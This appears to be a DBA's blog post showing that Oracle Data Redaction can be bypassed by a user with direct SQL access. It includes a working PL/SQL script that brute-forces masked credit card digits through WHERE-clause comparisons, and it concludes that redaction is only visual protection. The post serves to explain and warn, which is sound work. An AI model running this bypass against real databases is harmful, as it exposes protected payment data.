What Oracle has said about Data Redaction
I have taken the following text from the Oracle documentation and made some remarks in bold so that I do not wander away from what Data Redaction is really supposed to be used for:
"Oracle Data Redaction is useful for many different scenarios. It can be applied to a range of
packaged and custom applications to redact application screens, dashboards, and reports. It
helps you avoid making code changes in existing call center, human resources, sales, financial,
and healthcare applications. These applications frequently manage payment card (PCI),
protected health (PHI), or personally identifiable (PII) information that is subject to regulation.
Oracle Data Redaction is also useful for decision support systems that aggregate large and
diverse sets of data in a single repository for running analytics.
When an application issues a query, data is retrieved from the database and then the redaction
policy is applied. Redaction takes place immediately preceding the return of selected data, and
only at the top level of the SELECT list."
So, as we can see, the word "application" repeats itself over and over. Perhaps this is Oracle giving extreme emphasis to the fact that hell can break loose if you end user is the type of user who is familiar with the following prompt - SQL>
With this in mind, I am not implying that Oracle is overselling this feature since the text clearly states that this should be used to redact the data displayed to the end user of a packaged application.
In the following lines I will be depicting a very simple example of how one can, in a matter of seconds, get the real credit card number of a customer:
Ok, lets start with a table called Customers
SQL> create table customers (customer_id number(5) not null primary key,
2 name varchar2(40) not null,
3 creditcard_no varchar2(19));
Table created.
Inserting some hypothetical values:
SQL> insert into customers values (1,'Daniel Da Meda','4451-2172-9841-4368');
1 row created.
SQL> insert into customers values (2,'Alex Zaballa','5102-6342-4881-5211');
1 row created.
SQL> insert into customers values (3,'Antonio Mateus','4891-3311-0090-5005');
1 row created.
SQL> commit;
Commit complete.
col creditcard_no for a19
col name for a30
SQL> select * from customers;
CUSTOMER_ID NAME CREDITCARD_NO
----------- ------------------------------ -------------------
1 Daniel Da Meda 4451-2172-9841-4368
2 Alex Zaballa 5102-6342-4881-5211
3 Antonio Mateus 4891-3311-0090-5005
SQL> create public synonym customers for customers;
Synonym created.
SQL> create user watcher identified by icanseeyou default tablespace users temporary tablespace temp;
User created.
SQL> grant connect to watcher;
Grant succeeded.
SQL> grant select on customers to watcher;
Grant succeeded
Connected.
col creditcard_no for a19
col name for a30
select * from customers;
CUSTOMER_ID NAME CREDITCARD_NO
----------- ------------------------------ -------------------
1 Daniel Da Meda 4451-2172-9841-4368
2 Alex Zaballa 5102-6342-4881-5211
3 Antonio Mateus 4891-3311-0090-5005
SQL> connect ddameda@pdbdev
Enter password:
Connected.
For this example, I will be using OEM Cloud Control since most posts out there show how to create using command prompt.
You can view the SQL code by clicking on the Show SQL push button.
Once you have reviewed the code, click OK to create the policy.
Testing the policy. First attempting to retrieve the values from the customers table as the owner of the policy - ddameda:
SQL> show user
USER is "DDAMEDA"
SQL> select creditcard_no from customers;
CREDITCARD_NO
--------------------------------------------------------------------------------
4451-2172-9841-4368
5102-6342-4881-5211
4891-3311-0090-5005
As expected, there is no redaction going on when the user executing the query is not named WATCHER. We now connect as WATCHER and see what happens:
SQL> show user
USER is "WATCHER"
SQL> select creditcard_no from customers;
CREDITCARD_NO
--------------------------------------------------------------------------------
************4368
************5211
************5005
The above proves that the policy is working as intended.
However, if the user watcher can run SQL statements directly to the database, he could still see the credit card numbers for all employees simply by running the following snippet:
SET TIMING ON
SET SERVEROUTPUT ON
DECLARE
vcreditcard_no CUSTOMERS.creditcard_no%TYPE;
vcustomer_name CUSTOMERS.name%TYPE;
BEGIN
FOR a in 1..19 LOOP
IF a NOT IN (5,10,15) THEN
FOR b in 0..9 LOOP
BEGIN
SELECT name
INTO vcustomer_name
FROM CUSTOMERS
WHERE customer_id=1
AND SUBSTR(creditcard_no,a,1) = b;
vcreditcard_no:=vcreditcard_no||b;
EXCEPTION
WHEN NO_DATA_FOUND THEN
NULL;
END;
END LOOP;
ELSE
vcreditcard_no:=vcreditcard_no||'-';
END IF;
END LOOP;
DBMS_OUTPUT.PUT_LINE('Credit Card Number for '||vcustomer_name||' is: '||vcreditcard_no);
END;
/
Credit Card Number for Daniel Da Meda is: 4451-2172-9841-4368
PL/SQL procedure successfully completed.
Elapsed: 00:00:00.04
The above script uses the where clause to perform a brute force comparison and tests each numeric digit from 0 to 9. At the end, it delivers the credit card number. As you can see, the process and only takes 4 centiseconds to run.
Conclusion
What I learn from this is that Oracle Data Redaction is a good tool for implementing "visual" security on new and existing applications. However, this only remain valid if the end user does not have any sort of access to the database other then through the application interface. It is important to mention also that some application will allow advanced users or developers to run SQL or procedural code from the application. This is usually the case when the application has a report generator or an interface that allows a user to write some logic and run that on the database. These cases must be visited if you want to implement Data Redaction with the intention of protecting the business against data theft.
Bem didático, parabéns.
ReplyDelete